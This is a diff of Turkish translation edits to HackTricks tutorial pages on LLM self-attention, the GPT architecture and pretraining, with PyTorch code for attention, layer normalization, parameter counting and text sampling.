@ -39,27 +41,28 @@ Amacımız, **shiny** kelimesi için kendine dikkat kullanarak **bağlam vektör
#### Adım 1: Dikkat Puanlarını Hesapla
> [!TIP]
> Sadece sorgunun her boyut değerini ilgili token'ınki ile çarpın ve sonuçları toplayın. Her token çifti için 1 değer elde edersiniz.
> Sadece sorgunun her boyut değerini ilgili tokenin boyut değeri ile çarpın ve sonuçları toplayın. Her token çifti için 1 değer elde edersiniz.
Cümledeki her kelime için, **shiny** ile ilgili dikkat puanını, gömmelerinin nokta çarpımını hesaplayarak hesaplayın.
Cümledeki her kelime için, **shiny** ile ilgili dikkat puanını, gömmelerinin noktasal çarpımını hesaplayarak hesaplayın.
**"Hello" ile "shiny" arasındaki Dikkat Puanı**
**"Hello" ve "shiny" arasındaki Dikkat Puanı**
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**"shiny" ile "shiny" arasındaki Dikkat Puanı**
**"shiny" ve "shiny" arasındaki Dikkat Puanı**
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**"sun" ile "shiny" arasındaki Dikkat Puanı**
**"sun" ve "shiny" arasındaki Dikkat Puanı**
<figure><img src="../../images/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
#### Adım 2: Dikkat Puanlarını Normalleştirerek Dikkat Ağırlıklarını Elde Et
> [!TIP]
> Matematik terimlerinde kaybolmayın, bu fonksiyonun amacı basit, tüm ağırlıkları normalleştirin ki **toplamları 1 olsun**.\
> Ayrıca, **softmax** fonksiyonu, üstel kısım nedeniyle farklılıkları vurguladığı için, yararlı değerleri tespit etmeyi kolaylaştırır.
> Matematik terimlerinde kaybolmayın, bu fonksiyonun amacı basit, tüm ağırlıkları normalleştirin ki **toplamları 1 olsun**.
>
> Ayrıca, **softmax** fonksiyonu kullanılır çünkü bu, üstel kısım nedeniyle farklılıkları vurgular ve yararlı değerleri tespit etmeyi kolaylaştırır.
Dikkat puanlarına **softmax fonksiyonunu** uygulayarak, toplamı 1 olan dikkat ağırlıklarına dönüştürün.
@ -82,7 +85,7 @@ Dikkat ağırlıklarını hesaplama:
> [!TIP]
> Her dikkat ağırlığını alın ve ilgili token boyutlarıyla çarpın, ardından tüm boyutları toplayarak sadece 1 vektör (bağlam vektörü) elde edin.
**Bağlam vektörü**, tüm kelimelerin gömmelerinin ağırlıklı toplamı olarak hesaplanır, dikkat ağırlıklarını kullanarak.
**Bağlam vektörü**, tüm kelimelerin gömmelerinin ağırlıklı toplamı olarak hesaplanır ve dikkat ağırlıkları kullanılır.
<figure><img src="../../images/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
@ -108,13 +111,13 @@ Ağırlıklı gömmeleri toplama:
### Sürecin Özeti
1. **Dikkat Puanlarını Hesapla**: Hedef kelimenin gömmesi ile dizideki tüm kelimelerin gömmeleri arasındaki nokta çarpımını kullanın.
1. **Dikkat Puanlarını Hesapla**: Hedef kelimenin gömmesi ile dizideki tüm kelimelerin gömmeleri arasındaki noktasal çarpımı kullanın.
2. **Ağırlıkları Elde Etmek için Puanları Normalleştir**: Dikkat puanlarına softmax fonksiyonunu uygulayarak toplamı 1 olan ağırlıklar elde edin.
3. **Bağlam Vektörünü Hesapla**: Her kelimenin gömmesini dikkat ağırlığı ile çarpın ve sonuçları toplayın.
## Eğitilebilir Ağırlıklarla Kendine Dikkat
Pratikte, kendine dikkat mekanizmaları, sorgular, anahtarlar ve değerler için en iyi temsilleri öğrenmek amacıyla **eğitilebilir ağırlıklar** kullanır. Bu, üç ağırlık matrisinin tanıtılmasını içerir:
Pratikte, kendine dikkat mekanizmaları **eğitilebilir ağırlıklar** kullanarak sorgular, anahtarlar ve değerler için en iyi temsilleri öğrenir. Bu, üç ağırlık matrisinin tanıtılmasını içerir:
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
@ -130,12 +133,12 @@ Bu matrisler, orijinal gömmeleri dikkat hesaplamaları için uygun yeni bir ala
**Örnek**
Varsayalım ki:
Varsayalım:
- Girdi boyutu `din=3` (gömme boyutu)
- Çıktı boyutu `dout=2` (sorgular, anahtarlar ve değerler için istenen boyut)
- Giriş boyutu `din=3` (gömme boyutu)
- Çıkış boyutu `dout=2` (sorgular, anahtarlar ve değerler için istenen boyut)
ırlık matrislerini başlatın:
ırlık matrislerini başlat:
```python
import torch.nn as nn
@ -175,7 +178,7 @@ Nokta ürünlerinin çok büyük olmasını önlemek için, bunları anahtar boy
#### Adım 3: Bağlam Vektörlerini Hesapla
İlk örnekte olduğu gibi, sadece tüm değer matrislerini topla ve her birini dikkat ağırlığı ile çarp:
İlk örnekte olduğu gibi, tüm değer matrislerini topla ve her birini dikkat ağırlığı ile çarp:
<figure><img src="../../images/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
@ -249,7 +252,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1)
### Ek Dikkat Ağırlıklarını Dropout ile Maskeleme
**Aşırı uyum sağlamayı önlemek** için, softmax işleminden sonra dikkat ağırlıklarına **dropout** uygulayabiliriz. Dropout, eğitim sırasında **dikkat ağırlıklarının bazılarını rastgele sıfırlar**.
**Aşırı uyum sağlamayı önlemek** için, softmax işleminden sonra dikkat ağırlıklarına **dropout** uygulayabiliriz. Dropout, eğitim sırasında dikkat ağırlıklarının **rastgele sıfırlanmasını** sağlar.
```python
dropout = nn.Dropout(p=0.5)
attention_weights = dropout(attention_weights)
@ -258,7 +261,7 @@ Bir normal dropout yaklaşık %10-20'dir.
### Kod Örneği
Kod örneği [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):
Kod örneği için [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):
```python
import torch
import torch.nn as nn
@ -326,7 +329,7 @@ print("context_vecs.shape:", context_vecs.shape)
### Kod Örneği
Önceki kodu yeniden kullanmak ve sadece birkaç kez çalıştıran bir sarmalayıcı eklemek mümkün olabilir, ancak bu, tüm başları aynı anda işleyen [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) adresinden daha optimize edilmiş bir versiyondur (pahalı for döngülerinin sayısını azaltır). Kodda görebileceğiniz gibi, her bir token'ın boyutları baş sayısına göre farklı boyutlara bölünmüştür. Bu şekilde, eğer token 8 boyuta sahipse ve 3 baş kullanmak istiyorsak, boyutlar 4 boyuttan oluşan 2 diziye bölünecek ve her baş bunlardan birini kullanacaktır:
Önceki kodu yeniden kullanmak ve sadece birkaç kez çalıştıran bir sarmalayıcı eklemek mümkün olabilir, ancak bu, tüm başları aynı anda işleyen daha optimize bir versiyondur [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) ve pahalı döngü sayısını azaltır. Kodda görebileceğiniz gibi, her bir token'ın boyutları baş sayısına göre farklı boyutlara bölünmüştür. Bu şekilde, token 8 boyuta sahipse ve 3 baş kullanmak istiyorsak, boyutlar 4 boyuttan oluşan 2 diziye bölünecek ve her baş bunlardan birini kullanacaktır:
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
@ -406,10 +409,13 @@ print("context_vecs.shape:", context_vecs.shape)
Başka bir kompakt ve verimli uygulama için PyTorch'taki [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) sınıfını kullanabilirsiniz.
> [!TIP]
> ChatGPT'nin, her başın tüm token'ların tüm boyutlarını kontrol etmesi yerine token'ların boyutlarını başlar arasında bölmenin neden daha iyi olduğuna dair kısa yanıtı:
> ChatGPT'nin, her başın tüm token'ların tüm boyutlarını kontrol etmesi yerine token'ların boyutlarını başlar arasında bölmenin neden daha iyi olduğu hakkında kısa yanıtı:
>
> Her başın tüm gömme boyutlarını işlemesine izin vermek, her başın tam bilgilere erişimi olacağı için avantajlı gibi görünse de, standart uygulama **gömme boyutlarını başlar arasında bölmektir**. Bu yaklaşım, hesaplama verimliliği ile model performansını dengeler ve her başın çeşitli temsilleri öğrenmesini teşvik eder. Bu nedenle, gömme boyutlarını bölmek, her başın tüm boyutları kontrol etmesinden genellikle tercih edilir.
> Her başın tüm gömme boyutlarını işlemesine izin vermek, her başın tam bilgiye erişimi olacağı için avantajlı gibi görünse de, standart uygulama **gömme boyutlarını başlar arasında bölmektir**. Bu yaklaşım, hesaplama verimliliği ile model performansını dengeler ve her başın çeşitli temsilleri öğrenmesini teşvik eder. Bu nedenle, gömme boyutlarını bölmek, her başın tüm boyutları kontrol etmesinden genellikle tercih edilir.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,11 +1,13 @@
# 5. LLM Mimarisi
{{#include /banners/hacktricks-training.md}}
## LLM Mimarisi
> [!TIP]
> Bu beşinci aşamanın amacı çok basit: **Tam LLM mimarisini geliştirmek**. Her şeyi bir araya getirin, tüm katmanları uygulayın ve metin oluşturmak veya metni kimliklere ve geriye dönüştürmek için tüm işlevleri oluşturun.
> Bu beşinci aşamanın amacı çok basit: **Tam LLM mimarisini geliştirmek**. Her şeyi bir araya getirin, tüm katmanları uygulayın ve metin oluşturmak veya metni ID'lere ve geriye dönüştürmek için tüm işlevleri oluşturun.
>
> Bu mimari, hem eğitim hem de eğitimden sonra metin tahmini için kullanılacaktır.
> Bu mimari, eğitim ve eğitimden sonra metin tahmini için kullanılacaktır.
LLM mimarisi örneği [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
@ -14,7 +16,7 @@ Yüksek seviyeli bir temsil aşağıda gözlemlenebilir:
<figure><img src="../../images/image (3) (1) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
1. **Girdi (Tokenize Edilmiş Metin)**: Süreç, sayısal temsillere dönüştürülen tokenize edilmiş metinle başlar.
2. **Token Gömme ve Pozisyon Gömme Katmanı**: Tokenize edilmiş metin, kelime sırasını anlamak için kritik olan bir dizideki token'ların konumunu yakalayan bir **token gömme** katmanı ve bir **pozisyon gömme katmanı** aracılığıyla geçer.
2. **Token Gömme ve Pozisyon Gömme Katmanı**: Tokenize edilmiş metin, bir **token gömme** katmanından ve bir **pozisyon gömme katmanından** geçirilir; bu, kelime sırasını anlamak için kritik olan bir dizideki token'ların konumunu yakalar.
3. **Transformer Blokları**: Model, her biri birden fazla katmana sahip **12 transformer bloğu** içerir. Bu bloklar aşağıdaki diziyi tekrarlar:
- **Masked Multi-Head Attention**: Modelin girdi metninin farklı kısımlarına aynı anda odaklanmasını sağlar.
- **Katman Normalizasyonu**: Eğitimi stabilize etmek ve geliştirmek için bir normalizasyon adımı.
@ -211,7 +213,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
#### **Amaç ve İşlevsellik**
- **GELU (Gaussian Error Linear Unit):** Modelle doğrusal olmayanlık getiren bir aktivasyon fonksiyonu.
- **Düzgün Aktivasyon:** Negatif girdileri sıfıra indiren ReLU'nun aksine, GELU girdileri çıktılara düzgün bir şekilde haritalar, negatif girdiler için küçük, sıfırdan farklı değerler sağlar.
- **Düzgün Aktivasyon:** Negatif girdileri sıfıra indiren ReLU'nun aksine, GELU girdileri çıktılara düzgün bir şekilde eşler ve negatif girdiler için küçük, sıfırdan farklı değerler sağlar.
- **Matematiksel Tanım:**
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -250,7 +252,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
- **İkinci Lineer Katman:** Boyutları tekrar `emb_dim`'ye düşürür.
> [!TIP]
> Gördüğünüz gibi, Feed Forward ağı 3 katman kullanır. İlk katman, boyutları 4 ile çarpacak lineer bir katmandır (model içinde eğitilecek parametreler). Ardından, daha zengin temsilleri yakalamak için tüm bu boyutlarda doğrusal olmayan varyasyonlar uygulamak üzere GELU fonksiyonu kullanılır ve nihayetinde orijinal boyutlara geri dönmek için başka bir lineer katman kullanılır.
> Gördüğünüz gibi, Feed Forward ağı 3 katman kullanır. İlk katman, boyutları 4 ile çarpacak lineer ırlıkları (model içinde eğitilecek parametreler) kullanarak bir lineer katmandır. Ardından, daha zengin temsilleri yakalamak için tüm bu boyutlarda doğrusal olmayan varyasyonlar uygulamak üzere GELU fonksiyonu kullanılır ve nihayetinde orijinal boyutlara geri dönmek için başka bir lineer katman kullanılır.
### **Çoklu Başlı Dikkat Mekanizması**
@ -269,7 +271,7 @@ Bu daha önceki bir bölümde açıklandı.
- **Çıktı Projeksiyonu:** Tüm başların çıktısını birleştiren lineer katman.
> [!TIP]
> Bu ağın amacı, aynı bağlamdaki token'lar arasındaki ilişkileri bulmaktır. Ayrıca, aşırı uyum sağlamayı önlemek için token'lar farklı başlara bölünmüştür, ancak her başta bulunan nihai ilişkiler bu ağın sonunda birleştirilir.
> Bu ağın amacı, aynı bağlamdaki token'lar arasındaki ilişkileri bulmaktır. Ayrıca, aşırı uyumu önlemek için token'lar farklı başlara bölünmüştür, ancak her başta bulunan nihai ilişkiler bu ağın sonunda birleştirilir.
>
> Ayrıca, eğitim sırasında **nedensel bir maske** uygulanır, böylece belirli bir token'a bakarken sonraki token'lar dikkate alınmaz ve **aşırı uyumu önlemek** için bazı **dropout** uygulanır.
@ -297,7 +299,7 @@ return self.scale * norm_x + self.shift
- **`scale` ve `shift`:** Normalleştirilmiş çıktıyı ölçeklendirmek ve kaydırmak için modelin kullanabileceği öğrenilebilir parametreler (`nn.Parameter`). Sırasıyla birler ve sıfırlar ile başlatılır.
- **Normalizasyon Süreci:**
- **Ortalama Hesaplama (`mean`):** Gömme boyutu boyunca giriş `x`'in ortalamasını hesaplar (`dim=-1`), yayılma için boyutu korur (`keepdim=True`).
- **Varyans Hesaplama (`var`):** Gömme boyutu boyunca `x`'in varyansını hesaplar, boyutu da korur. `unbiased=False` parametresi, varyansın yanlı tahminci kullanılarak hesaplanmasını sağlar (örnek sayısı `N` yerine `N-1` ile bölünerek), bu da örnekler yerine özellikler üzerinde normalleştirme yaparken uygundur.
- **Varyans Hesaplama (`var`):** Gömme boyutu boyunca `x`'in varyansını hesaplar, boyutu da korur. `unbiased=False` parametresi, varyansın yanlı tahminci kullanılarak hesaplanmasını sağlar (örnek sayısı `N` yerine `N-1` ile bölünerek), bu da özellikler üzerinde normalizasyon yaparken uygundur.
- **Normalleştirme (`norm_x`):** `x`'ten ortalamayı çıkarır ve varyansın karekökü artı `eps` ile böler.
- **Ölçekleme ve Kaydırma:** Normalleştirilmiş çıktıya öğrenilebilir `scale` ve `shift` parametrelerini uygular.
@ -372,7 +374,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
> Transformer bloğu tüm ağları bir araya getirir ve eğitim istikrarını ve sonuçlarını iyileştirmek için bazı **normalizasyon** ve **dropout** uygular.\
> Dropout'ların her ağın kullanımından sonra yapıldığını, normalizasyonun ise öncesinde uygulandığını not edin.
>
> Ayrıca, bir ağın çıkışını girişi ile **eklemeyi** içeren kısa yolları da kullanır. Bu, başlangıç katmanlarının son katmanlar kadar "çok" katkıda bulunmasını sağlayarak kaybolan gradyan sorununu önlemeye yardımcı olur.
> Ayrıca, **bir ağın çıkışını girişiyle eklemekten** oluşan kısa yolları da kullanır. Bu, ilk katmanların son katmanlar kadar "çok" katkıda bulunmasını sağlayarak kaybolan gradyan sorununu önlemeye yardımcı olur.
### **GPTModel**
@ -434,15 +436,15 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
#### **Amaç ve İşlevsellik**
- **Gömme Katmanları:**
- **Token Gömme (`tok_emb`):** Token indekslerini gömmelere dönüştürür. Hatırlatma olarak, bunlar kelime dağarcığındaki her tokenin her boyutuna verilen ağırlıklardır.
- **Pozisyonel Gömme (`pos_emb`):** Gömmelere pozisyonel bilgi ekleyerek tokenlerin sırasını yakalar. Hatırlatma olarak, bunlar metindeki pozisyonuna göre tokenlere verilen ağırlıklardır.
- **Token Gömme (`tok_emb`):** Token indekslerini gömmelere dönüştürür. Hatırlatma olarak, bunlar kelime dağarcığındaki her token'ın her boyutuna verilen ağırlıklardır.
- **Pozisyonel Gömme (`pos_emb`):** Gömmelere pozisyonel bilgi ekleyerek token'ların sırasını yakalar. Hatırlatma olarak, bunlar metindeki pozisyonuna göre token'a verilen ağırlıklardır.
- **Dropout (`drop_emb`):** Gömmelere düzenleme için uygulanır.
- **Transformer Blokları (`trf_blocks`):** Gömmeleri işlemek için `n_layers` transformer bloğunun yığını.
- **Son Normalizasyon (`final_norm`):** Çıktı katmanından önce katman normalizasyonu.
- **Çıktı Katmanı (`out_head`):** Son gizli durumları kelime dağarcığı boyutuna projekte ederek tahmin için logitleri üretir.
> [!TIP]
> Bu sınıfın amacı, **bir dizideki bir sonraki tokeni tahmin etmek** için diğer bahsedilen tüm ağları kullanmaktır; bu, metin üretimi gibi görevler için temeldir.
> Bu sınıfın amacı, **bir dizideki bir sonraki token'ı tahmin etmek** için diğer bahsedilen tüm ağları kullanmaktır; bu, metin üretimi gibi görevler için temeldir.
>
> **Belirtilen kadar transformer bloğu kullanacağını** ve her transformer bloğunun bir çok başlı dikkat ağı, bir ileri besleme ağı ve birkaç normalizasyon kullandığını not edin. Yani 12 transformer bloğu kullanılıyorsa, bunu 12 ile çarpın.
>
@ -507,7 +509,7 @@ embedding_params = 38,597,376 + 786,432 = 39,383,808
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
```
Üç böyle katman olduğu için:
Bu tür üç katman olduğundan:
```python
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
@ -579,7 +581,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
**a. Son Katman Normalizasyonu**
- **Parametreler:** `2 * emb_dim` (ölçek ve kaydır)
- **Parametreler:** `2 * emb_dim` (ölçek ve kaydırma)
```python
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
```
@ -608,9 +610,9 @@ total_params = 163,009,536
```
## Metin Üretimi
Bir önceki gibi bir sonraki token'ı tahmin eden bir modele sahip olmak, çıktının son token değerlerini almak için gereklidir (çünkü bunlar tahmin edilen token'ın değerleri olacaktır), bu da **sözlükteki her giriş için bir değer** olacak ve ardından `softmax` fonksiyonunu kullanarak boyutları 1'e toplam olan olasılıklara normalize etmek ve ardından en büyük girişin indeksini almak, bu da sözlükteki kelimenin indeksi olacaktır.
Bir önceki gibi bir sonraki token'ı tahmin eden bir modele sahip olmak, çıktının son token değerlerini almak için gereklidir (çünkü bunlar tahmin edilen token'ın değerleri olacaktır), bu da **sözlükteki her bir giriş için bir değer** olacak ve ardından `softmax` fonksiyonunu kullanarak boyutları 1'e toplam olan olasılıklara normalize etmek ve ardından en büyük girişin indeksini almak, bu da sözlükteki kelimenin indeksi olacaktır.
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb) kodu:
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb) adresindeki kod:
```python
def generate_text_simple(model, idx, max_new_tokens, context_size):
# idx is (batch, n_tokens) array of indices in the current context
@ -664,3 +666,6 @@ print("Output length:", len(out[0]))
## Referanslar
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,13 +1,15 @@
# 6. Ön Eğitim ve Modellerin Yüklenmesi
{{#include /banners/hacktricks-training.md}}
## Metin Üretimi
Bir modeli eğitmek için, o modelin yeni token'lar üretebilmesi gerekecek. Ardından, üretilen token'ları beklenenlerle karşılaştırarak modeli **gerekli token'ları öğrenmesi için eğiteceğiz**.
Önceki örneklerde bazı token'ları zaten tahmin ettiğimiz için, bu amaçla o fonksiyonu yeniden kullanmak mümkündür.
Önceki örneklerde bazı token'ları tahmin ettiğimiz için, bu amaçla o fonksiyonu yeniden kullanmak mümkündür.
> [!TIP]
> Bu altıncı aşamanın amacı çok basit: **Modeli sıfırdan eğitmek**. Bunun için önceki LLM mimarisi, tanımlı kayıp fonksiyonları ve optimizasyon kullanarak veri setleri üzerinde döngülerle tüm model parametrelerini eğitmek için kullanılacaktır.
> Bu altıncı aşamanın amacı çok basit: **Modeli sıfırdan eğitmek**. Bunun için önceki LLM mimarisi, tanımlanan kayıp fonksiyonları ve optimizasyon ile veri setleri üzerinde döngülerle tüm model parametrelerini eğitmek için kullanılacaktır.
## Metin Değerlendirmesi
@ -16,9 +18,9 @@ Doğru bir eğitim gerçekleştirmek için, beklenen token için elde edilen tah
Doğru token'ın olasılığını maksimize etmek için, modelin ağırlıkları, bu olasılığın maksimize edilmesi için değiştirilmelidir. Ağırlık güncellemeleri **geri yayılım** yoluyla yapılır. Bu, **maksimize edilecek bir kayıp fonksiyonu** gerektirir. Bu durumda, fonksiyon **gerçekleştirilen tahmin ile istenen arasındaki fark** olacaktır.
Ancak, ham tahminlerle çalışmak yerine, n tabanlı bir logaritma ile çalışacaktır. Yani, beklenen token'ın mevcut tahmini 7.4541e-05 ise, **7.4541e-05**'in doğal logaritması (taban *e*) yaklaşık olarak **-9.5042**'dir.\
Örneğin, 5 token'lık bir bağlam uzunluğuna sahip her giriş için modelin 5 token tahmin etmesi gerekecek; ilk 4 token, girdinin sonuncusu ve beşincisi tahmin edilen olacaktır. Bu nedenle, her giriş için bu durumda 5 tahminimiz olacak (ilk 4'ü girdi olsa da model bunu bilmez) ve dolayısıyla 5 beklenen token ve 5 maksimize edilecek olasılık olacaktır.
Örneğin, 5 token'lık bir bağlam uzunluğuna sahip her giriş için modelin 5 token tahmin etmesi gerekecek; ilk 4 token girişi sonuncusu ve beşincisi tahmin edilen olacaktır. Bu nedenle, her giriş için bu durumda 5 tahminimiz olacak (ilk 4'ü girdi olsa da model bunu bilmez) ve dolayısıyla 5 beklenen token ve 5 maksimize edilecek olasılık olacaktır.
Bu nedenle, her tahmine doğal logaritma uygulandıktan sonra, **ortalama** hesaplanır, **eksi işareti kaldırılır** (bu _çapraz entropi kaybı_ olarak adlandırılır) ve bu, **0'a mümkün olduğunca yakın bir şekilde azaltılması gereken sayıdır** çünkü 1'in doğal logaritması 0'dır:
Bu nedenle, her tahmine doğal logaritma uygulandıktan sonra, **ortalama** hesaplanır, **eksi sembolü kaldırılır** (bu _çapraz entropi kaybı_ olarak adlandırılır) ve bu, **0'a mümkün olduğunca yakın bir şekilde azaltılması gereken sayıdır** çünkü 1'in doğal logaritması 0'dır:
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
@ -546,7 +548,7 @@ return tokenizer.decode(flat.tolist())
Aşağıdaki `generate_text` fonksiyonu, `top-k`, `temperature` ve `multinomial` kavramlarını uygulayacaktır.
- **`top-k`**, en üst k token dışında tüm token'ların olasılıklarını `-inf`'ye düşürmeye başlayacağımız anlamına gelir. Yani, k=3 ise, bir karar vermeden önce yalnızca en olası 3 token'ın olasılığı `-inf`'den farklı olacaktır.
- **`temperature`**, her olasılığın sıcaklık değeri ile bölüneceği anlamına gelir. `0.1` değeri, en yüksek olasılığı en düşük olasılıkla karşılaştırarak artırırken, örneğin `5` sıcaklığı daha düz bir dağılım yaratır. Bu, LLM'nin yanıtlarındaki varyasyonu artırmaya yardımcı olur.
- **`temperature`**, her olasılığın sıcaklık değeri ile bölüneceği anlamına gelir. `0.1` değeri, en yüksek olasılığı en düşük olasılıkla karşılaştırıldığında artırırken, örneğin `5` sıcaklığı daha düz bir dağılım yaratır. Bu, LLM'nin yanıtlarında istediğimiz varyasyonu artırmaya yardımcı olur.
- Sıcaklık uygulandıktan sonra, tüm kalan token'ların toplam olasılığının 1 olması için tekrar bir **`softmax`** fonksiyonu uygulanır.
- Son olarak, en büyük olasılığa sahip token'ı seçmek yerine, fonksiyon **`multinomial`** uygulanarak **son olasılıklara göre bir sonraki token'ı tahmin eder**. Yani, token 1'in %70 olasılığı, token 2'nin %20 ve token 3'ün %10 olasılığı varsa, %70 oranında token 1 seçilecek, %20 oranında token 2 ve %10 oranında token 3 seçilecektir.
```python
@ -590,24 +592,24 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
return idx
```
> [!TIP]
> `top-k` için yaygın bir alternatif olan [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), aynı zamanda çekirdek örnekleme olarak da bilinir, en yüksek olasılığa sahip k örneği almak yerine, tüm sonuçlanan **kelime dağarcığını** olasılıklara göre **düzenler** ve en yüksek olasılıktan en düşük olasılığa kadar **toplar** ve bir **eşik değere ulaşana kadar** devam eder.
> `top-k` için yaygın bir alternatif olan [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), aynı zamanda nucleus sampling olarak da bilinir, en yüksek olasılığa sahip k örneği almak yerine, tüm sonuçlanan **vocabulary**'yi olasılıklara göre **düzenler** ve en yüksek olasılıktan en düşük olasılığa kadar bir **eşik değere ulaşana kadar** toplar.
>
> Ardından, **yalnızca bu kelimeler** kelime dağarcığının göreli olasılıklarına göre dikkate alınacaktır.
> Ardından, **yalnızca bu kelimeler** vocabulary'den göreceli olasılıklarına göre dikkate alınacaktır.
>
> Bu, her durumda optimal k'nın farklı olabileceği için `k` örneği seçmeye gerek kalmadan, **yalnızca bir eşik** belirlemeyi sağlar.
> Bu, her durumda optimal k'nın farklı olabileceği için `k` örneği seçmeye gerek kalmadan **yalnızca bir eşik** belirlemeyi sağlar.
>
> _Bu iyileştirmenin önceki kodda yer almadığını unutmayın._
> [!TIP]
> Üretilen metni iyileştirmenin bir diğer yolu, bu örnekte kullanılan açgözlü arama yerine **Beam search** kullanmaktır.\
> Açgözlü aramanın her adımda en olası bir sonraki kelimeyi seçip tek bir diziyi oluşturmasının aksine, **beam search her adımda en yüksek puan alan 𝑘 k kısmi dizileri** ( "beams" olarak adlandırılır) takip eder. Birden fazla olasılığı aynı anda keşfederek, verimlilik ve kaliteyi dengeler, açgözlü yaklaşımın erken, alt optimal seçimler nedeniyle kaçırabileceği **daha iyi bir genel** diziyi bulma şansını artırır.
> Açgözlü aramanın her adımda en olası bir sonraki kelimeyi seçip tek bir diziyi oluşturmasının aksine, **beam search her adımda en yüksek puan alan 𝑘 k kısmi diziyi** ( "beams" olarak adlandırılır) takip eder. Birden fazla olasılığı aynı anda keşfederek, verimlilik ve kaliteyi dengeler, açgözlü yaklaşımın erken, altoptimal seçimler nedeniyle kaçırabileceği **daha iyi bir genel** diziyi bulma şansını artırır.
>
> _Bu iyileştirmenin önceki kodda yer almadığını unutmayın._
### Loss functions
**`calc_loss_batch`** fonksiyonu, tek bir partinin tahmininin çapraz entropisini hesaplar.\
**`calc_loss_loader`** tüm partilerin çapraz entropisini alır ve **ortalama çapraz entropiyi** hesaplar.
**`calc_loss_batch`** fonksiyonu, tek bir batch'in tahmininin çapraz entropisini hesaplar.\
**`calc_loss_loader`** tüm batch'lerin çapraz entropisini alır ve **ortalama çapraz entropiyi** hesaplar.
```python
# Define loss functions
def calc_loss_batch(input_batch, target_batch, model, device):
@ -635,7 +637,7 @@ break
return total_loss / num_batches
```
> [!TIP]
> **Gradient clipping**, büyük sinir ağlarında **eğitim istikrarını** artırmak için kullanılan bir tekniktir; bu teknik, gradyan büyüklükleri için bir **maksimum eşik** belirleyerek çalışır. Gradyanlar bu önceden tanımlanmış `max_norm` değerini aştığında, modelin parametrelerine yapılan güncellemelerin yönetilebilir bir aralıkta kalmasını sağlamak için orantılı olarak ölçeklendirilir. Bu, patlayan gradyanlar gibi sorunları önler ve daha kontrollü ve istikrarlı bir eğitim sağlar.
